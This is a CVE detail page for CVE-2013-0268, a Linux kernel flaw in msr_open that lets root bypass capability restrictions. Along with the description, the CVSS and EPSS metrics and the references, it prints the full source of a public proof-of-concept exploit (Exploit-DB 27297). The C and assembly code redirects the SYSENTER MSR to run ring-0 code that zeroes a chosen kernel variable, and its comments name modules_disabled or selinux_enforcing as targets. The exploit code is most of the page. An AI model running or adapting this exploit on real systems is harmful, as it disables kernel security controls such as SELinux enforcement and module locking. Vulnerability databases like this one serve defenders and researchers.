CVE-2013-0268 : Detail

CVE-2013-0268

A01-Broken Access Control
0.23%V3
Local
2013-02-18
01h00 +00:00
2013-06-05
07h00 +00:00
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CVE Descriptions

The msr_open function in arch/x86/kernel/msr.c in the Linux kernel before 3.7.6 allows local users to bypass intended capability restrictions by executing a crafted application as root, as demonstrated by msr32.c.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-264 Category : Permissions, Privileges, and Access Controls
Weaknesses in this category are related to the management of permissions, privileges, and other security features that are used to perform access control.

Metrics

Metrics Score Severity CVSS Vector Source
V2 6.2 AV:L/AC:H/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 27297

Publication date : 2013-08-01 22h00 +00:00
Author : spender
EDB Verified : No

// PoC exploit for /dev/cpu/*/msr, 32bit userland on a 64bit host // can do whatever in the commented area, re-enable module support, etc // requires CONFIG_X86_MSR and just uid 0 // a small race exists between the time when the MSR is written to the first // time and when we issue our sysenter // we additionally require CAP_SYS_NICE to make the race win nearly guaranteed // configured to take a hex arg of a dword pointer to set to 0 // (modules_disabled, selinux_enforcing, take your pick) // // Hello to Red Hat, who has shown yet again to not care until a // public exploit is released. Not even a bugtraq entry existed in // their system until this was published -- and they have a paid team // of how many? // It's not as if I didn't mention the problem and existence of an easy // exploit multiple times prior: // https://twitter.com/grsecurity/status/298977370776432640 // https://twitter.com/grsecurity/status/297365303095078912 // https://twitter.com/grsecurity/status/297189488638181376 // https://twitter.com/grsecurity/status/297030133628416000 // https://twitter.com/grsecurity/status/297029470072745984 // https://twitter.com/grsecurity/status/297028324134359041 // // spender 2013 #define _GNU_SOURCE #include <stdio.h> #include <sched.h> #include <unistd.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <stdlib.h> #include <sys/time.h> #include <sys/resource.h> #include <sys/mman.h> #define SYSENTER_EIP_MSR 0x176 u_int64_t msr; unsigned long ourstack[65536]; u_int64_t payload_data[16]; extern void *_ring0; extern void *_ring0_end; void ring0(void) { __asm volatile(".globl _ring0\n" "_ring0:\n" ".intel_syntax noprefix\n" ".code64\n" // set up stack pointer with 'ourstack' "mov esp, ecx\n" // save registers, contains the original MSR value "push rax\n" "push rbx\n" "push rcx\n" "push rdx\n" // play with the kernel here with interrupts disabled! "mov rcx, qword ptr [rbx+8]\n" "test rcx, rcx\n" "jz skip_write\n" "mov dword ptr [rcx], 0\n" "skip_write:\n" // restore MSR value before returning "mov ecx, 0x176\n" // SYSENTER_EIP_MSR "mov eax, dword ptr [rbx]\n" "mov edx, dword ptr [rbx+4]\n" "wrmsr\n" "pop rdx\n" "pop rcx\n" "pop rbx\n" "pop rax\n" "sti\n" "sysexit\n" ".code32\n" ".att_syntax prefix\n" ".global _ring0_end\n" "_ring0_end:\n" ); } unsigned long saved_stack; int main(int argc, char *argv[]) { cpu_set_t set; int msr_fd; int ret; u_int64_t new_msr; struct sched_param sched; u_int64_t resolved_addr = 0ULL; if (argc == 2) resolved_addr = strtoull(argv[1], NULL, 16); /* can do this without privilege */ mlock(_ring0, (unsigned long)_ring0_end - (unsigned long)_ring0); mlock(&payload_data, sizeof(payload_data)); CPU_ZERO(&set); CPU_SET(0, &set); sched.sched_priority = 99; ret = sched_setscheduler(0, SCHED_FIFO, &sched); if (ret) { fprintf(stderr, "Unable to set priority.\n"); exit(1); } ret = sched_setaffinity(0, sizeof(cpu_set_t), &set); if (ret) { fprintf(stderr, "Unable to set affinity.\n"); exit(1); } msr_fd = open("/dev/cpu/0/msr", O_RDWR); if (msr_fd < 0) { msr_fd = open("/dev/msr0", O_RDWR); if (msr_fd < 0) { fprintf(stderr, "Unable to open /dev/cpu/0/msr\n"); exit(1); } } lseek(msr_fd, SYSENTER_EIP_MSR, SEEK_SET); ret = read(msr_fd, &msr, sizeof(msr)); if (ret != sizeof(msr)) { fprintf(stderr, "Unable to read /dev/cpu/0/msr\n"); exit(1); } // stuff some addresses in a buffer whose address we // pass to the "kernel" via register payload_data[0] = msr; payload_data[1] = resolved_addr; printf("Old SYSENTER_EIP_MSR = %016llx\n", msr); fflush(stdout); lseek(msr_fd, SYSENTER_EIP_MSR, SEEK_SET); new_msr = (u_int64_t)(unsigned long)&_ring0; printf("New SYSENTER_EIP_MSR = %016llx\n", new_msr); fflush(stdout); ret = write(msr_fd, &new_msr, sizeof(new_msr)); if (ret != sizeof(new_msr)) { fprintf(stderr, "Unable to modify /dev/cpu/0/msr\n"); exit(1); } __asm volatile( ".intel_syntax noprefix\n" ".code32\n" "mov saved_stack, esp\n" "lea ecx, ourstack\n" "lea edx, label2\n" "lea ebx, payload_data\n" "sysenter\n" "label2:\n" "mov esp, saved_stack\n" ".att_syntax prefix\n" ); printf("Success.\n"); return 0; }

Products Mentioned

Configuraton 0

Linux>>Linux_kernel >> Version To (including) 3.7.5

Linux>>Linux_kernel >> Version 3.0

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Linux>>Linux_kernel >> Version 3.7.4

References

http://www.openwall.com/lists/oss-security/2013/02/07/12
Tags : mailing-list, x_refsource_MLIST